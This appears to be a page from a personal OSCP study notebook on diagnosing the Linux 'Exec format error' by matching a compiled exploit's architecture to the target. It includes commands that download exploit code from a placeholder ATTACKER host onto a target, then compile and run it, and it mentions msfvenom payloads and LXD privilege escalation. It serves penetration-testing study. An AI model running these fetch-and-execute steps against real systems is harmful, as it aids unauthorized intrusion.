Pearson's OSCP Notebook

Exec format error - Binary Architecture Mismatch

Properties1
tagsexec-format-error, cannot-execute-binary, architecture, x86_64, i686, elf, gcc, troubleshooting, oscp

4 min read

Exec format error — Binary Architecture Mismatch

Ctrl+F: Exec format error · cannot execute binary file · file a.out · i686 · x86_64 · -m32

When you run a compiled binary or downloaded exploit on a Linux target:

bash: ./a.out: cannot execute binary file: Exec format error

The kernel recognized the file is not runnable on this system. This is not usually corruption — it’s almost always an architecture or format mismatch.

→ Install Download and Run · linux-exploit-suggester · searchsploit

📌 What it means

CauseExample
Wrong CPU architecture64-bit binary on 32-bit OS (x86_64 on i686)
Wrong OS formatWindows PE .exe on Linux
Not an executable at allHTML error page saved as exploit

chmod +x does not fix this — the kernel refuses to run the wrong format.

📌 Step 1 — Inspect the file

On the target (where it fails):

file a.out
uname -m
getconf LONG_BIT

On Kali (where you compiled):

file a.out
uname -m
gcc -v 2>&1 | tail -1

Example — the mismatch

Binary (compiled on 64-bit Kali):

a.out: ELF 64-bit LSB shared object, x86-64, ...

Target:

$ uname -m
i686
 
$ getconf LONG_BIT
32

Result: A 32-bit kernel cannot execute a 64-bit ELF. → Exec format error.

📌 Step 2 — Interpret file output

file saysMeaning
ELF 64-bit LSB executable, x86-6464-bit Linux binary — needs x86_64 target
ELF 32-bit LSB executable, Intel 8038632-bit Linux — needs i686 / i386 target
ELF 64-bit LSB shared objectOften PIE binary — still needs matching 64-bit CPU
PE32 executable (Windows)Windows only — won’t run on Linux
HTML documentDownload failed — you saved a web page, not an exploit

Extra check (ELF):

readelf -h a.out | grep -E 'Class|Machine'
# Class: ELF64 ... Machine: Advanced Micro Devices X86-64

Compare to target:

uname -m          # x86_64 vs i686 vs aarch64
getconf LONG_BIT  # 64 vs 32

📌 Solutions

A — Compile for the target architecture (Kali → 32-bit target)

On 64-bit Kali, build 32-bit binary:

sudo apt install -y gcc-multilib libc6-dev-i386
 
gcc -m32 exploit.c -o exploit -static -pthread
file exploit
# ELF 32-bit LSB executable, Intel 80386

Transfer to i686 target → should run.

B — Compile directly on the target

If gcc exists on the box:

which gcc
gcc exploit.c -o exploit -pthread
chmod +x exploit
./exploit

Architecture always matches when built locally.

C — Pick the correct prebuilt from searchsploit

# On target first
uname -m
getconf LONG_BIT
 
# On Kali — read exploit before -m
searchsploit -x EDB-ID
file /usr/share/exploitdb/exploits/.../exploit
searchsploit -m EDB-ID

Some EDB entries ship both 32- and 64-bit — read comments.

D — Wrong download (HTML not binary)

file exploit
# exploit: HTML document, ASCII text
 
curl -I http://ATTACKER/exploit.c   # check Content-Type
wget -O exploit.c http://ATTACKER/exploit.c
head -5 exploit.c                   # should be C source, not <html>

→ File Transfer · Curl

E — Windows EXE on Linux

file payload.exe
# PE32 executable (Windows)

Use Linux payload (msfvenom -p linux/x86/...) or run Windows exploit on Windows target only.

→ Msfvenom

📌 Common OSCP scenarios

SituationFix
Kernel exploit from Kali → old 32-bit boxgcc -m32 or compile on target
searchsploit -m binary won’t runfile it · check uname -m on target
Static LES exploit wrong archMatch LES suggestion to exact kernel and arch
Alpine/LXC image wrong archBuild/import matching image → lxc - LXD Privilege Escalation - EDB 46978
Permission denied vs exec formatExec format error = arch/format · Permission denied = permissions/noexec

📌 Quick diagnostic (copy/paste)

# Target
file ./BINARY
uname -m
getconf LONG_BIT
readelf -h ./BINARY 2>/dev/null | head -20
 
# Kali (if you compiled there)
file ./BINARY
uname -m

Rule: Target uname -m must match binary arch:

Target uname -mNeed binary
x86_64 / amd64ELF 64-bit x86-64
i686 / i386ELF 32-bit i386
aarch64ARM64 ELF (rare on OSCP)

📌 Quick cheat sheet

# Diagnose
file a.out && uname -m && getconf LONG_BIT
 
# Fix — 32-bit target from 64-bit Kali
sudo apt install -y gcc-multilib
gcc -m32 exploit.c -o exploit -static -pthread
 
# Fix — compile on target
gcc exploit.c -o exploit && ./exploit
 
# Fix — bad download
file exploit    # if HTML → re-download

Graph View

Backlinks